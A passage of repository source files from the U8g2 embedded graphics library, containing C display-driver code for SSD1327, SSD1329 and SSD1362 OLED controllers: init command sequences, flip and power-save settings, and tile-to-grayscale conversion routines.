enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x020),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_128x96_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x060),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1327_visionox_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call the 96x96 procedure at the moment */\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x96_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_init_seq); \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1329.c",
    "content": "/*\n\n  u8x8_d_ssd1329.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_ssd1329_128x96_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x03f * 1/64 duty - changed by CREESOO, acc. to datasheet, 100317*/ \n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  U8X8_CA(0x0a0, 0x052),\t\t/* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */\n  U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n#ifdef removed\n  U8X8_C(0x0b8),\t\t\t\t/* set gray scale table */\n    U8X8_A(1),\t\t\t\t/* */\n    U8X8_A(5),\t\t\t\t/* */\n    U8X8_A(10),\t\t\t\t/* */\n    U8X8_A(14),\t\t\t\t/* */\n    U8X8_A(19),\t\t\t\t/* */\n    U8X8_A(23),\t\t\t\t/* */\n    U8X8_A(28),\t\t\t\t/* */\n    U8X8_A(32),\t\t\t\t/* */\n    U8X8_A(37),\t\t\t\t/* */\n    U8X8_A(41),\t\t\t\t/* */\n    U8X8_A(46),\t\t\t\t/* */\n    U8X8_A(50),\t\t\t\t/* */\n    U8X8_A(55),\t\t\t\t/* */\n    U8X8_A(59),\t\t\t\t/* */\n    U8X8_A(63),\t\t\t\t/* */\n#endif \n\n  U8X8_C(0x0b7),\t\t\t\t/* set default gray scale table */\n    \n  U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x0b2, 0x051),\t\t/* frame frequency (row period) */\n  U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0b4, 0x002),                    /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0b0, 0x028),                    /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0bf, 0x002|0x00d),           /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_CA(0x023, 0x003),\t\t/* graphics accelleration: fill pixel */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1329_128x96_nhd_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1329_128x96_nhd_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1329_128x96_nhd_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x052),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1329_128x96_nhd_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x041),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for ssd1329 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1329_8to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1329_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1329_8to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1329_8to32_dest_buf;\n}\n\n\n\n\nstatic uint8_t u8x8_d_ssd1329_128x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_nhd_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1329 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 4;\n      \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      y *= 8;\n      y += u8x8->x_offset;\t\t/* x_offset is used as y offset for the ssd1329 */\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] )\n\t  {\n\t    /* draw the tile if pattern is not zero for all bytes */\n\t    u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t    u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n\n\t    u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address */\n\t    u8x8_cad_SendArg(u8x8, y);\n\t    u8x8_cad_SendArg(u8x8, y+7);\n\t    \n\t    \n\t    u8x8_cad_SendData(u8x8, 32, u8x8_ssd1329_8to32(u8x8, ptr));\n\t  }\n\t  else\n\t  {\n\t    /* tile is empty, use the graphics acceleration command */\n\t    /* are this really available on the SSD1329??? */\n\t    u8x8_cad_SendCmd(u8x8, 0x024 );\t// draw rectangle\n\t    u8x8_cad_SendArg(u8x8, x );\t\n\t    u8x8_cad_SendArg(u8x8, y );\t\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t\n\t    u8x8_cad_SendArg(u8x8, y+7 );\t\n\t    u8x8_cad_SendArg(u8x8, 0 );\t// clear\t    \n\t  }\n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 4;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1329_128x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 15,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* ssd1329  */\n  /* sck_pulse_width_ns = */ 100,\t/* ssd1329  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t/* ssd1329 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1329 */\n  /* flipmode_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1329 */\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_ssd1329_128x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1329_128x96_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*=================================================*/\n/* \n  SSD1329 with 96x96 \n  For this display, the x_offset has been reverted to its original meaning!\n\n  https://github.com/olikraus/u8g2/issues/1511\n\n  FlipMode 1 probably does not work, see issue\n*/\n\nstatic const uint8_t u8x8_d_ssd1329_96x96_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1329_96x96_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x060),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1329_96x96_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0b3, 0x0f0),\t\t/* set display clock divide ratio/oscillator frequency, see #1511*/\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */ \n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */\n  U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n#ifdef removed\n  U8X8_C(0x0b8),\t\t\t\t/* set gray scale table */\n    U8X8_A(1),\t\t\t\t/* */\n    U8X8_A(5),\t\t\t\t/* */\n    U8X8_A(10),\t\t\t\t/* */\n    U8X8_A(14),\t\t\t\t/* */\n    U8X8_A(19),\t\t\t\t/* */\n    U8X8_A(23),\t\t\t\t/* */\n    U8X8_A(28),\t\t\t\t/* */\n    U8X8_A(32),\t\t\t\t/* */\n    U8X8_A(37),\t\t\t\t/* */\n    U8X8_A(41),\t\t\t\t/* */\n    U8X8_A(46),\t\t\t\t/* */\n    U8X8_A(50),\t\t\t\t/* */\n    U8X8_A(55),\t\t\t\t/* */\n    U8X8_A(59),\t\t\t\t/* */\n    U8X8_A(63),\t\t\t\t/* */\n#endif \n\n  U8X8_C(0x0b7),\t\t\t\t/* set default gray scale table */\n    \n  U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..255 */\n  U8X8_CA(0x0b2, 0x023),\t\t/* frame frequency (row period), see #1511 */\n  U8X8_CA(0x0b1, 0x021),                    /* phase length, see #1511 */\n  U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0b4, 0x002),                    /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0b0, 0x028),                    /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0be, 0x01f),                     /* VCOMH voltage */\n  U8X8_CA(0x0bf, 0x002|0x00d),           /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_CA(0x023, 0x003),\t\t/* graphics accelleration: fill pixel */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic uint8_t u8x8_d_ssd1329_96x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_nhd_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1329 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 4;\n      x += u8x8->x_offset;\n      \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      y *= 8;\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] )\n\t  {\n\t    /* draw the tile if pattern is not zero for all bytes */\n\t    u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t    u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n\n\t    u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address */\n\t    u8x8_cad_SendArg(u8x8, y);\n\t    u8x8_cad_SendArg(u8x8, y+7);\n\t    \n\t    \n\t    u8x8_cad_SendData(u8x8, 32, u8x8_ssd1329_8to32(u8x8, ptr));\n\t  }\n\t  else\n\t  {\n\t    /* tile is empty, use the graphics acceleration command */\n\t    /* are this really available on the SSD1329??? */\n\t    u8x8_cad_SendCmd(u8x8, 0x024 );\t// draw rectangle\n\t    u8x8_cad_SendArg(u8x8, x );\t\n\t    u8x8_cad_SendArg(u8x8, y );\t\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t\n\t    u8x8_cad_SendArg(u8x8, y+7 );\t\n\t    u8x8_cad_SendArg(u8x8, 0 );\t// clear\t    \n\t  }\n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 4;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1329_96x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 15,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* ssd1329  */\n  /* sck_pulse_width_ns = */ 100,\t/* ssd1329  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t/* ssd1329 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 12,\n  /* default_x_offset = */  0,          /* x offset for flip mode 0 */\n  /* flipmode_x_offset = */ 16,\t\t/* x offset for flip mode 1 */ \n  /* pixel_width = */ 96,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_ssd1329_96x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_96x96_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1329_96x96_generic(u8x8, msg, arg_int, arg_ptr);\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1362.c",
    "content": "/*\n\n  u8x8_d_ssd1362.c\n  \n  https://github.com/olikraus/u8g2/issues/2051\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2022, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  SSD1362: \n    256 x 64 (ssd1322: 480 x 128)\n    16 gray scale\n\n\n  Note: Currently the external IREF is activated.\n  Maybe we need a constructor with internal IREF\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ssd1362_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* ssd1362: display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1362_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* ssd1362: display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for SSD1362 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1362_to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1362_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1362_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1362_to32_dest_buf;\n}\n\n/* special case for the 206x36 display: send only half of the last tile */\nstatic uint8_t *u8x8_ssd1362_8to24(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 3; j++ )\n  {\n    dest = u8x8_ssd1362_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=3;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1362_to32_dest_buf;\n}\n\n\nuint8_t u8x8_d_ssd1362_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1362 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 4;\t\t// convert from tile pos to display column\n      x += u8x8->x_offset;\t\t\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n    \n      \n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  